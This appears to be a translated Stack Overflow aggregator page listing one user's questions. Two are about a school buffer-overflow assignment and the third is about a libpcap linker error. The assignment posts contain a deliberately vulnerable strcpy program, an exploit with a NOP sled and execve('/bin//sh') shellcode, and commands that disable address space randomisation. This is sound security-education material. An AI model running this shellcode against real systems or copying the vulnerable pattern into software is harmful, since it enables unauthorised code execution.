小编Jor*_*abb的帖子

作为房主的缓冲区溢出

仍在学习安全类的缓冲区溢出,我正在尝试利用此应用程序中的漏洞:

//vuln.c
#include <stdio.h>

int bof(char *str)
{
     char buffer[12];

     //BO Vulnerability
     strcpy(buffer,str);

     return 1;
}

int main(int argc, char* argv[])
{
     char str[517];

     FILE *badfile;
         badfile = fopen("badfile","r");

     fread(str, sizeof(char),517, badfile);
     bof(str);

     printf("Returned Properly\n");
     return 1;
}
Run Code Online (Sandbox Code Playgroud)

使用此漏洞利用程序:

//exploit.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

const char code[] =
"\x31\xc0"
"\x50"
"\x68""//sh"
"\x68""/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"
;


int main(int argc, char* argv[])
{
    char buffer[517];
    char large_string[512];
    FILE *badfile;
        badfile = fopen("./badfile", "w");

    //NOPslide
    memset(&buffer,0x90,517); …
Run Code Online (Sandbox Code Playgroud)

c buffer-overflow stack-smash shellcode fortify-source

5
推荐指数
1
解决办法
3426
查看次数

使用内联汇编启动shell

我正在完成一项学校任务,我完全被难过了.教授和助教没有任何帮助,因为他们为任何学生提供的每一个答案都是"继续寻找,答案就在那里"的一些变化.我正在尝试使用以下代码创建一个shell:

#include <stdio.h>
#include <stdlib.h>

const char code[] =
"\x31\xc0"
"\x50"
"\x68""//sh"
"\x68""/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"
;

int main(int argc, char **argv)
{
printf("running...\n");

char buf[sizeof(code)];
strcpy(buf, code);
((void(*)( ))buf)( );
}
Run Code Online (Sandbox Code Playgroud)

我试图code[]用在网上找到的其他一些例子(包括这个网站)取代,以及教授提供的另一个例子.这些都没有用.我使用gdb进行反汇编并试图构建自己的code[],并且失败了.对于它的价值,我可以说,在普通用户中,我的应用程序会((void(*)( ))buf)( );在线路上发生段错误,只是在同一行的root用户中退出(没有段错误通知).

我不知道在哪里采取这个任务,我不能处理任何后来的缓冲区溢出任务,直到我能理解这个简单的第一步.任何帮助将大大赞赏.

编辑:我忘了提到,我已经在OSX 10.8.2上和通过VirtualBox在Ubuntu VM上尝试过这个.我假设它不适用于OSX,但我很绝望.ha对于Ubuntu,我们被要求做:

sudo #sysctl -w kernel.randomize_va_space = 0

sudo apt-get install zsh cd/bin sudo rm sh sudo ln -s/bin/zsh/bin/sh

这些命令应禁用地址空间随机化,安装zsh并将其链接到/ bin/sh.我在VM中完成了所有这些任务,没有任何错误

assembly buffer-overflow stack-smash shellcode

3
推荐指数
1
解决办法
2972
查看次数

pcap_lookupdev undefined

我正在为OSX 10.8开发.我刚刚libpcap通过MacPorts 安装并尝试运行一个简单的设备猎人(下)

#include <stdio.h>
#include <pcap.h>

int main(int argc,char *argv[])
{
    char *dev, errbuf[PCAP_ERRBUF_SIZE];

    dev = pcap_lookupdev(errbuf);
    if(dev == NULL)
    {
        fprintf(stderr, "Couldn't find default device: %s\n", errbuf);
        return(2);
    }

    printf("Device %s\n", dev);
    return(0);
}
Run Code Online (Sandbox Code Playgroud)

在尝试使用g ++编译时,我得到:

    Undefined symbols for architecture x86_64:
  "_pcap_lookupdev", referenced from:
      _main in ccIMp1m2.o
Run Code Online (Sandbox Code Playgroud)

任何有用的建议,所以我真的可以开始学习这些东西将是伟大的!我用谷歌搜索了10-15分钟,但在我的设置中找不到我的特定问题.

c++ sniffing pcap network-security

2
推荐指数
1
解决办法
2173
查看次数